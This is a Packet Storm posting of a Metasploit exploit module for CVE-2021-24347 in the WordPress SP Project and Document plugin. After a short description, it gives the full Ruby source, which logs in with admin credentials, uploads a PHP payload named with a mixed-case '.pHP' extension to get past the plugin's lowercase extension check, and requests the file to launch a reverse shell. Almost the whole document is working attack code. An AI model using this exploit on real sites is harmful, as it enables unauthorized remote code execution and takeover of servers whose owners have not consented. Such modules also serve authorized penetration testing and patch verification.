WordPress SP Project And Document Remote Code Execution

This Metasploit module allows an attacker with a privileged WordPress account to launch a reverse shell due to an arbitrary file upload vulnerability in WordPress SP Project and Document plugin versions prior to 4.22. The security check only searches for lowercase file extensions such as .php, making it possible to upload .pHP files for instance. Finally, the uploaded payload can be triggered by a call to /wp-content/uploads/sp-client-document-manager/<user_id>/<random_payload_name>.php.

MD5 | d73daa7ac6681410691920aff7640598

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Wordpress Plugin SP Project and Document - Authenticated Remote Code Execution',
        'Description' => %q{
          This module allows an attacker with a privileged Wordpress account to launch a reverse shell
          due to an arbitrary file upload vulnerability in Wordpress plugin SP Project & Document < 4.22.
          The security check only searches for lowercase file extensions such as `.php`, making it possible to upload `.pHP` files for instance.
          Finally, the uploaded payload can be triggered by a call to `/wp-content/uploads/sp-client-document-manager/<user_id>/<random_payload_name>.php`
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'Ron Jost', # Exploit-db
            'Yann Castel (yann.castel[at]orange.com)' # Metasploit module
          ],
        'References' =>
          [
            ['EDB', '50115'],
            ['CVE', '2021-24347']
          ],
        'Platform' => ['php'],
        'Arch' => ARCH_PHP,
        'Targets' =>
        [
          ['Wordpress SP Project & Document < 4.22', {}]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2021-06-14',
        'Notes' =>
          {
            'Stability' => [CRASH_SAFE],
            'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
            'Reliability' => [REPEATABLE_SESSION]
          }
      )
    )

    register_options [
      OptString.new('USERNAME', [true, 'Username of the admin account', 'admin']),
      OptString.new('PASSWORD', [true, 'Password of the admin account', 'admin']),
      OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/'])
    ]
  end

  def check
    return CheckCode::Unknown('Server not online or not detected as wordpress') unless wordpress_and_online?

    cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
    if cookie
      check_plugin_version_from_readme('sp-client-document-manager', '4.22')
    else
      CheckCode::Detected('The admin credentials given are wrong !')
    end
  end

  def get_user_id(cookie)
    r = send_request_cgi({
      'method' => 'GET',
      'cookie' => cookie,
      'uri' => normalize_uri(target_uri.path, 'wp-admin/admin.php'),
      'Referer' => full_uri('/wp-admin/users.php'),
      'vars_get' => {
        'page' => 'sp-client-document-manager-fileview'
      }
    })
    fail_with(Failure::Unknown, "Target #{RHOST} could not be reached.") unless r
    user_id = r.body.to_s.match(%r{<option value='(\d+)'>#{datastore['USERNAME']}</option>})
    fail_with(Failure::UnexpectedReply, "Can't find user id on plugin page") unless user_id && user_id[1]
    user_id[1]
  end

  def exploit
    cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
    fail_with(Failure::NoAccess, 'Authentication failed') unless cookie
    user_id = get_user_id(cookie)
    payload_name = "#{Rex::Text.rand_text_alpha_lower(5)}.pHP"
    post_data = Rex::MIME::Message.new
    post_data.add_part(Rex::Text.rand_text_alpha(5..8), nil, nil, "form-data; name='cdm_upload_file_field'")
    post_data.add_part("/wordpress/wp-admin/admin.php?page=sp-client-document-manager-fileview&id=#{user_id}", nil, nil, "form-data; name='_wp_http_referer'")
    post_data.add_part('exploits', nil, nil, "form-data; name='dlg-upload-name'")
    post_data.add_part('', 'application/octet-stream', nil, "form-data; name='dlg-upload-file[]'; filename=''")
    post_data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name='dlg-upload-file[]'; filename='#{payload_name}'")
    post_data.add_part('', nil, nil, "form-data; name='dlg-upload-notes'")
    post_data.add_part('Upload', nil, nil, "form-data; name='sp-cdm-community-upload'")

    print_status("Uploading file \'#{payload_name}\' containing the payload...")

    r = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'wp-admin/admin.php'),
      'headers' => {
        'Origin' => full_uri(''),
        'Referer' => full_uri('wp-admin/admin.php')
      },
      'vars_get' => {
        'page' => 'sp-client-document-manager-fileview',
        'id' => user_id
      },
      'cookie' => cookie,
      'data' => post_data.to_s,
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
    )

    fail_with(Failure::UnexpectedReply, "Wasn't able to upload the payload file") unless r&.code == 302
    register_files_for_cleanup(payload_name.downcase)

    print_status('Triggering the payload ...')

    send_request_cgi(
      'method' => 'GET',
      'cookie' => cookie,
      'uri' => normalize_uri(target_uri.path, "/wp-content/uploads/sp-client-document-manager/#{user_id}/#{payload_name.downcase}")
    )
  end
end

Source: packetstormsecurity.com